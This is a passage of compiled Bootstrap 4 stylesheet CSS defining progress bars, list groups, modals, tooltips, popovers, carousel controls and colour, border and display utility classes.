}\n}\n\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 1rem 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n.progress {\n  display: -ms-flexbox;\n  display: flex;\n  height: 1rem;\n  overflow: hidden;\n  font-size: 0.75rem;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.progress-bar {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  -ms-flex-pack: center;\n  justify-content: center;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  background-color: #007bff;\n  transition: width 0.6s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .progress-bar {\n    transition: none;\n  }\n}\n\n.progress-bar-striped {\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-size: 1rem 1rem;\n}\n\n.progress-bar-animated {\n  -webkit-animation: progress-bar-stripes 1s linear infinite;\n  animation: progress-bar-stripes 1s linear infinite;\n}\n\n.media {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: start;\n  align-items: flex-start;\n}\n\n.media-body {\n  -ms-flex: 1;\n  flex: 1;\n}\n\n.list-group {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n}\n\n.list-group-item-action {\n  width: 100%;\n  color: #495057;\n  text-align: inherit;\n}\n\n.list-group-item-action:hover, .list-group-item-action:focus {\n  color: #495057;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.list-group-item-action:active {\n  color: #212529;\n  background-color: #e9ecef;\n}\n\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 0.75rem 1.25rem;\n  margin-bottom: -1px;\n  background-color: #fff;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.list-group-item:hover, .list-group-item:focus {\n  z-index: 1;\n  text-decoration: none;\n}\n\n.list-group-item.disabled, .list-group-item:disabled {\n  color: #6c757d;\n  background-color: #fff;\n}\n\n.list-group-item.active {\n  z-index: 2;\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.list-group-flush .list-group-item {\n  border-right: 0;\n  border-left: 0;\n  border-radius: 0;\n}\n\n.list-group-flush:first-child .list-group-item:first-child {\n  border-top: 0;\n}\n\n.list-group-flush:last-child .list-group-item:last-child {\n  border-bottom: 0;\n}\n\n.list-group-item-primary {\n  color: #004085;\n  background-color: #b8daff;\n}\n\n.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus {\n  color: #004085;\n  background-color: #9fcdff;\n}\n\n.list-group-item-primary.list-group-item-action.active {\n  color: #fff;\n  background-color: #004085;\n  border-color: #004085;\n}\n\n.list-group-item-secondary {\n  color: #383d41;\n  background-color: #d6d8db;\n}\n\n.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus {\n  color: #383d41;\n  background-color: #c8cbcf;\n}\n\n.list-group-item-secondary.list-group-item-action.active {\n  color: #fff;\n  background-color: #383d41;\n  border-color: #383d41;\n}\n\n.list-group-item-success {\n  color: #155724;\n  background-color: #c3e6cb;\n}\n\n.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus {\n  color: #155724;\n  background-color: #b1dfbb;\n}\n\n.list-group-item-success.list-group-item-action.active {\n  color: #fff;\n  background-color: #155724;\n  border-color: #155724;\n}\n\n.list-group-item-info {\n  color: #0c5460;\n  background-color: #bee5eb;\n}\n\n.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus {\n  color: #0c5460;\n  background-color: #abdde5;\n}\n\n.list-group-item-info.list-group-item-action.active {\n  color: #fff;\n  background-color: #0c5460;\n  border-color: #0c5460;\n}\n\n.list-group-item-warning {\n  color: #856404;\n  background-color: #ffeeba;\n}\n\n.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus {\n  color: #856404;\n  background-color: #ffe8a1;\n}\n\n.list-group-item-warning.list-group-item-action.active {\n  color: #fff;\n  background-color: #856404;\n  border-color: #856404;\n}\n\n.list-group-item-danger {\n  color: #721c24;\n  background-color: #f5c6cb;\n}\n\n.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus {\n  color: #721c24;\n  background-color: #f1b0b7;\n}\n\n.list-group-item-danger.list-group-item-action.active {\n  color: #fff;\n  background-color: #721c24;\n  border-color: #721c24;\n}\n\n.list-group-item-light {\n  color: #818182;\n  background-color: #fdfdfe;\n}\n\n.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus {\n  color: #818182;\n  background-color: #ececf6;\n}\n\n.list-group-item-light.list-group-item-action.active {\n  color: #fff;\n  background-color: #818182;\n  border-color: #818182;\n}\n\n.list-group-item-dark {\n  color: #1b1e21;\n  background-color: #c6c8ca;\n}\n\n.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus {\n  color: #1b1e21;\n  background-color: #b9bbbe;\n}\n\n.list-group-item-dark.list-group-item-action.active {\n  color: #fff;\n  background-color: #1b1e21;\n  border-color: #1b1e21;\n}\n\n.close {\n  float: right;\n  font-size: 1.5rem;\n  font-weight: 700;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #fff;\n  opacity: .5;\n}\n\n.close:hover, .close:focus {\n  color: #000;\n  text-decoration: none;\n  opacity: .75;\n}\n\n.close:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\nbutton.close {\n  padding: 0;\n  background-color: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n\n.modal-open {\n  overflow: hidden;\n}\n\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: hidden;\n  outline: 0;\n}\n\n.modal-open .modal {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 0.5rem;\n  pointer-events: none;\n}\n\n.modal.fade .modal-dialog {\n  transition: -webkit-transform 0.3s ease-out;\n  transition: transform 0.3s ease-out;\n  transition: transform 0.3s ease-out, -webkit-transform 0.3s ease-out;\n  -webkit-transform: translate(0, -25%);\n  transform: translate(0, -25%);\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .modal.fade .modal-dialog {\n    transition: none;\n  }\n}\n\n.modal.show .modal-dialog {\n  -webkit-transform: translate(0, 0);\n  transform: translate(0, 0);\n}\n\n.modal-dialog-centered {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: center;\n  align-items: center;\n  min-height: calc(100% - (0.5rem * 2));\n}\n\n.modal-content {\n  position: relative;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  width: 100%;\n  pointer-events: auto;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n  outline: 0;\n}\n\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n\n.modal-backdrop.fade {\n  opacity: 0;\n}\n\n.modal-backdrop.show {\n  opacity: 0.5;\n}\n\n.modal-header {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: start;\n  align-items: flex-start;\n  -ms-flex-pack: justify;\n  justify-content: space-between;\n  padding: 1rem;\n  border-bottom: 1px solid #e9ecef;\n  border-top-left-radius: 0.3rem;\n  border-top-right-radius: 0.3rem;\n}\n\n.modal-header .close {\n  padding: 1rem;\n  margin: -1rem -1rem -1rem auto;\n}\n\n.modal-title {\n  margin-bottom: 0;\n  line-height: 1.5;\n}\n\n.modal-body {\n  position: relative;\n  -ms-flex: 1 1 auto;\n  flex: 1 1 auto;\n  padding: 1rem;\n}\n\n.modal-footer {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: center;\n  align-items: center;\n  -ms-flex-pack: end;\n  justify-content: flex-end;\n  padding: 1rem;\n  border-top: 1px solid #e9ecef;\n}\n\n.modal-footer > :not(:first-child) {\n  margin-left: .25rem;\n}\n\n.modal-footer > :not(:last-child) {\n  margin-right: .25rem;\n}\n\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n\n@media (min-width: 576px) {\n  .modal-dialog {\n    max-width: 500px;\n    margin: 1.75rem auto;\n  }\n  .modal-dialog-centered {\n    min-height: calc(100% - (1.75rem * 2));\n  }\n  .modal-sm {\n    max-width: 300px;\n  }\n}\n\n@media (min-width: 992px) {\n  .modal-lg {\n    max-width: 800px;\n  }\n}\n\n.tooltip {\n  position: absolute;\n  z-index: 1070;\n  display: block;\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-style: normal;\n  font-weight: 400;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.875rem;\n  word-wrap: break-word;\n  opacity: 0;\n}\n\n.tooltip.show {\n  opacity: 0.9;\n}\n\n.tooltip .arrow {\n  position: absolute;\n  display: block;\n  width: 0.8rem;\n  height: 0.4rem;\n}\n\n.tooltip .arrow::before {\n  position: absolute;\n  content: \"\";\n  border-color: transparent;\n  border-style: solid;\n}\n\n.bs-tooltip-top, .bs-tooltip-auto[x-placement^=\"top\"] {\n  padding: 0.4rem 0;\n}\n\n.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^=\"top\"] .arrow {\n  bottom: 0;\n}\n\n.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^=\"top\"] .arrow::before {\n  top: 0;\n  border-width: 0.4rem 0.4rem 0;\n  border-top-color: #000;\n}\n\n.bs-tooltip-right, .bs-tooltip-auto[x-placement^=\"right\"] {\n  padding: 0 0.4rem;\n}\n\n.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^=\"right\"] .arrow {\n  left: 0;\n  width: 0.4rem;\n  height: 0.8rem;\n}\n\n.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^=\"right\"] .arrow::before {\n  right: 0;\n  border-width: 0.4rem 0.4rem 0.4rem 0;\n  border-right-color: #000;\n}\n\n.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^=\"bottom\"] {\n  padding: 0.4rem 0;\n}\n\n.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow {\n  top: 0;\n}\n\n.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow::before {\n  bottom: 0;\n  border-width: 0 0.4rem 0.4rem;\n  border-bottom-color: #000;\n}\n\n.bs-tooltip-left, .bs-tooltip-auto[x-placement^=\"left\"] {\n  padding: 0 0.4rem;\n}\n\n.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^=\"left\"] .arrow {\n  right: 0;\n  width: 0.4rem;\n  height: 0.8rem;\n}\n\n.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^=\"left\"] .arrow::before {\n  left: 0;\n  border-width: 0.4rem 0 0.4rem 0.4rem;\n  border-left-color: #000;\n}\n\n.tooltip-inner {\n  max-width: 200px;\n  padding: 0.25rem 0.5rem;\n  color: #fff;\n  text-align: center;\n  background-color: #000;\n  border-radius: 0.25rem;\n}\n\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1060;\n  display: block;\n  max-width: 276px;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-style: normal;\n  font-weight: 400;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.875rem;\n  word-wrap: break-word;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n}\n\n.popover .arrow {\n  position: absolute;\n  display: block;\n  width: 1rem;\n  height: 0.5rem;\n  margin: 0 0.3rem;\n}\n\n.popover .arrow::before, .popover .arrow::after {\n  position: absolute;\n  display: block;\n  content: \"\";\n  border-color: transparent;\n  border-style: solid;\n}\n\n.bs-popover-top, .bs-popover-auto[x-placement^=\"top\"] {\n  margin-bottom: 0.5rem;\n}\n\n.bs-popover-top .arrow, .bs-popover-auto[x-placement^=\"top\"] .arrow {\n  bottom: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before,\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  border-width: 0.5rem 0.5rem 0;\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before {\n  bottom: 0;\n  border-top-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  bottom: 1px;\n  border-top-color: #fff;\n}\n\n.bs-popover-right, .bs-popover-auto[x-placement^=\"right\"] {\n  margin-left: 0.5rem;\n}\n\n.bs-popover-right .arrow, .bs-popover-auto[x-placement^=\"right\"] .arrow {\n  left: calc((0.5rem + 1px) * -1);\n  width: 0.5rem;\n  height: 1rem;\n  margin: 0.3rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before,\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  border-width: 0.5rem 0.5rem 0.5rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before {\n  left: 0;\n  border-right-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  left: 1px;\n  border-right-color: #fff;\n}\n\n.bs-popover-bottom, .bs-popover-auto[x-placement^=\"bottom\"] {\n  margin-top: 0.5rem;\n}\n\n.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^=\"bottom\"] .arrow {\n  top: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before,\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  border-width: 0 0.5rem 0.5rem 0.5rem;\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before {\n  top: 0;\n  border-bottom-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  top: 1px;\n  border-bottom-color: #fff;\n}\n\n.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^=\"bottom\"] .popover-header::before {\n  position: absolute;\n  top: 0;\n  left: 50%;\n  display: block;\n  width: 1rem;\n  margin-left: -0.5rem;\n  content: \"\";\n  border-bottom: 1px solid #f7f7f7;\n}\n\n.bs-popover-left, .bs-popover-auto[x-placement^=\"left\"] {\n  margin-right: 0.5rem;\n}\n\n.bs-popover-left .arrow, .bs-popover-auto[x-placement^=\"left\"] .arrow {\n  right: calc((0.5rem + 1px) * -1);\n  width: 0.5rem;\n  height: 1rem;\n  margin: 0.3rem 0;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before,\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  border-width: 0.5rem 0 0.5rem 0.5rem;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before {\n  right: 0;\n  border-left-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  right: 1px;\n  border-left-color: #fff;\n}\n\n.popover-header {\n  padding: 0.5rem 0.75rem;\n  margin-bottom: 0;\n  font-size: 1rem;\n  color: inherit;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-top-left-radius: calc(0.3rem - 1px);\n  border-top-right-radius: calc(0.3rem - 1px);\n}\n\n.popover-header:empty {\n  display: none;\n}\n\n.popover-body {\n  padding: 0.5rem 0.75rem;\n  color: #212529;\n}\n\n.carousel {\n  position: relative;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel-item {\n  position: relative;\n  display: none;\n  -ms-flex-align: center;\n  align-items: center;\n  width: 100%;\n  transition: -webkit-transform 0.6s ease;\n  transition: transform 0.6s ease;\n  transition: transform 0.6s ease, -webkit-transform 0.6s ease;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  -webkit-perspective: 1000px;\n  perspective: 1000px;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .carousel-item {\n    transition: none;\n  }\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n  display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n  position: absolute;\n  top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n  -webkit-transform: translateX(0);\n  transform: translateX(0);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-item-next.carousel-item-left,\n  .carousel-item-prev.carousel-item-right {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n  -webkit-transform: translateX(100%);\n  transform: translateX(100%);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-item-next,\n  .active.carousel-item-right {\n    -webkit-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n  -webkit-transform: translateX(-100%);\n  transform: translateX(-100%);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-item-prev,\n  .active.carousel-item-left {\n    -webkit-transform: translate3d(-100%, 0, 0);\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n.carousel-fade .carousel-item {\n  opacity: 0;\n  transition-duration: .6s;\n  transition-property: opacity;\n}\n\n.carousel-fade .carousel-item.active,\n.carousel-fade .carousel-item-next.carousel-item-left,\n.carousel-fade .carousel-item-prev.carousel-item-right {\n  opacity: 1;\n}\n\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-right {\n  opacity: 0;\n}\n\n.carousel-fade .carousel-item-next,\n.carousel-fade .carousel-item-prev,\n.carousel-fade .carousel-item.active,\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-prev {\n  -webkit-transform: translateX(0);\n  transform: translateX(0);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-fade .carousel-item-next,\n  .carousel-fade .carousel-item-prev,\n  .carousel-fade .carousel-item.active,\n  .carousel-fade .active.carousel-item-left,\n  .carousel-fade .active.carousel-item-prev {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-control-prev,\n.carousel-control-next {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: center;\n  align-items: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n  width: 15%;\n  color: #fff;\n  text-align: center;\n  opacity: 0.5;\n}\n\n.carousel-control-prev:hover, .carousel-control-prev:focus,\n.carousel-control-next:hover,\n.carousel-control-next:focus {\n  color: #fff;\n  text-decoration: none;\n  outline: 0;\n  opacity: .9;\n}\n\n.carousel-control-prev {\n  left: 0;\n}\n\n.carousel-control-next {\n  right: 0;\n}\n\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n  display: inline-block;\n  width: 20px;\n  height: 20px;\n  background: transparent no-repeat center center;\n  background-size: 100% 100%;\n}\n\n.carousel-control-prev-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\");\n}\n\n.carousel-control-next-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\");\n}\n\n.carousel-indicators {\n  position: absolute;\n  right: 0;\n  bottom: 10px;\n  left: 0;\n  z-index: 15;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-pack: center;\n  justify-content: center;\n  padding-left: 0;\n  margin-right: 15%;\n  margin-left: 15%;\n  list-style: none;\n}\n\n.carousel-indicators li {\n  position: relative;\n  -ms-flex: 0 1 auto;\n  flex: 0 1 auto;\n  width: 30px;\n  height: 3px;\n  margin-right: 3px;\n  margin-left: 3px;\n  text-indent: -999px;\n  background-color: rgba(255, 255, 255, 0.5);\n}\n\n.carousel-indicators li::before {\n  position: absolute;\n  top: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators li::after {\n  position: absolute;\n  bottom: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators .active {\n  background-color: #fff;\n}\n\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #fff;\n  text-align: center;\n}\n\n.align-baseline {\n  vertical-align: baseline !important;\n}\n\n.align-top {\n  vertical-align: top !important;\n}\n\n.align-middle {\n  vertical-align: middle !important;\n}\n\n.align-bottom {\n  vertical-align: bottom !important;\n}\n\n.align-text-bottom {\n  vertical-align: text-bottom !important;\n}\n\n.align-text-top {\n  vertical-align: text-top !important;\n}\n\n.bg-primary {\n  background-color: #007bff !important;\n}\n\na.bg-primary:hover, a.bg-primary:focus,\nbutton.bg-primary:hover,\nbutton.bg-primary:focus {\n  background-color: #0062cc !important;\n}\n\n.bg-secondary {\n  background-color: #6c757d !important;\n}\n\na.bg-secondary:hover, a.bg-secondary:focus,\nbutton.bg-secondary:hover,\nbutton.bg-secondary:focus {\n  background-color: #545b62 !important;\n}\n\n.bg-success {\n  background-color: #28a745 !important;\n}\n\na.bg-success:hover, a.bg-success:focus,\nbutton.bg-success:hover,\nbutton.bg-success:focus {\n  background-color: #1e7e34 !important;\n}\n\n.bg-info {\n  background-color: #17a2b8 !important;\n}\n\na.bg-info:hover, a.bg-info:focus,\nbutton.bg-info:hover,\nbutton.bg-info:focus {\n  background-color: #117a8b !important;\n}\n\n.bg-warning {\n  background-color: #ffc107 !important;\n}\n\na.bg-warning:hover, a.bg-warning:focus,\nbutton.bg-warning:hover,\nbutton.bg-warning:focus {\n  background-color: #d39e00 !important;\n}\n\n.bg-danger {\n  background-color: #dc3545 !important;\n}\n\na.bg-danger:hover, a.bg-danger:focus,\nbutton.bg-danger:hover,\nbutton.bg-danger:focus {\n  background-color: #bd2130 !important;\n}\n\n.bg-light {\n  background-color: #f8f9fa !important;\n}\n\na.bg-light:hover, a.bg-light:focus,\nbutton.bg-light:hover,\nbutton.bg-light:focus {\n  background-color: #dae0e5 !important;\n}\n\n.bg-dark {\n  background-color: #343a40 !important;\n}\n\na.bg-dark:hover, a.bg-dark:focus,\nbutton.bg-dark:hover,\nbutton.bg-dark:focus {\n  background-color: #1d2124 !important;\n}\n\n.bg-white {\n  background-color: #fff !important;\n}\n\n.bg-transparent {\n  background-color: transparent !important;\n}\n\n.border {\n  border: 1px solid #dee2e6 !important;\n}\n\n.border-top {\n  border-top: 1px solid #dee2e6 !important;\n}\n\n.border-right {\n  border-right: 1px solid #dee2e6 !important;\n}\n\n.border-bottom {\n  border-bottom: 1px solid #dee2e6 !important;\n}\n\n.border-left {\n  border-left: 1px solid #dee2e6 !important;\n}\n\n.border-0 {\n  border: 0 !important;\n}\n\n.border-top-0 {\n  border-top: 0 !important;\n}\n\n.border-right-0 {\n  border-right: 0 !important;\n}\n\n.border-bottom-0 {\n  border-bottom: 0 !important;\n}\n\n.border-left-0 {\n  border-left: 0 !important;\n}\n\n.border-primary {\n  border-color: #007bff !important;\n}\n\n.border-secondary {\n  border-color: #6c757d !important;\n}\n\n.border-success {\n  border-color: #28a745 !important;\n}\n\n.border-info {\n  border-color: #17a2b8 !important;\n}\n\n.border-warning {\n  border-color: #ffc107 !important;\n}\n\n.border-danger {\n  border-color: #dc3545 !important;\n}\n\n.border-light {\n  border-color: #f8f9fa !important;\n}\n\n.border-dark {\n  border-color: #343a40 !important;\n}\n\n.border-white {\n  border-color: #fff !important;\n}\n\n.rounded {\n  border-radius: 0.25rem !important;\n}\n\n.rounded-top {\n  border-top-left-radius: 0.25rem !important;\n  border-top-right-radius: 0.25rem !important;\n}\n\n.rounded-right {\n  border-top-right-radius: 0.25rem !important;\n  border-bottom-right-radius: 0.25rem !important;\n}\n\n.rounded-bottom {\n  border-bottom-right-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-left {\n  border-top-left-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-circle {\n  border-radius: 50% !important;\n}\n\n.rounded-0 {\n  border-radius: 0 !important;\n}\n\n.clearfix::after {\n  display: block;\n  clear: both;\n  content: \"\";\n}\n\n.d-none {\n  display: none !important;\n}\n\n.d-inline {\n  display: inline !important;\n}\n\n.d-inline-block {\n  display: inline-block !important;\n}\n\n.d-block {\n  display: block !important;\n}\n\n.d-table {\n  display: table !important;\n}\n\n.d-table-row {\n  display: table-row !important;\n}\n\n.d-table-cell {\n  display: table-cell !important;\n}\n\n.d-flex {\n  display: -ms-flexbox !important;\n  display: flex !important;\n}\n\n.d-inline-flex {\n  display: -ms-inline-flexbox !important;\n  display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n  .d-sm-none {\n    display: none !important;\n  }\n  .d-sm-inline {\n    display: inline !important;\n  }\n  .d-sm-inline-block {\n    display: inline-block !important;\n  }\n  .d-sm-block {\n    display: block !important;\n  }\n  .d-sm-table {\n    display: table !important;\n  }\n  .d-sm-table-row {\n    display: table-row !important;\n  }\n  .d-sm-table-cell {\n    display: table-cell !important;\n  }\n  .d-sm-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-sm-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .d-md-none {\n    display: none !important;\n  }\n  .d-md-inline {\n    display: inline !important;\n  }\n  .d-md-inline-block {\n    display: inline-block !important;\n  }\n  .d-md-block {\n    display: block !important;\n  }\n  .d-md-table {\n    display: table !important;\n  }\n  .d-md-table-row {\n    display: table-row !important;\n  }\n  .d-md-table-cell {\n    display: table-cell !important;\n  }\n  .d-md-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-md-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .d-lg-none {\n    display: none !important;\n  }\n  .d-lg-inline {\n    display: inline !important;\n  }\n  .d-lg-inline-block {\n    display: inline-block !important;\n  }\n  .d-lg-block {\n    display: block !important;\n  }\n  .d-lg-table {\n    display: table !important;\n  }\n  .d-lg-table-row {\n    display: table-row !important;\n  }\n  .d-lg-table-cell {\n    display: table-cell !important;\n  }\n  .d-lg-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-lg-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .d-xl-none {\n    display: none !important;\n  }\n  .d-xl-inline {\n    display: inline !important;\n  }\n  .d-xl-inline-block {\n    display: inline-block !important;\n  }\n  .d-xl-block {\n    display: block !important;\n  }\n  .d-xl-table {\n    display: table !important;\n  }\n  .d-xl-table-row {\n    display: table-row !important;\n  }\n  .d-xl-table-cell {\n    display: table-cell !important;\n  }\n  .d-xl-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-xl-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media print {\n  .d-print-none {\n    display: none !important;\n  }\n  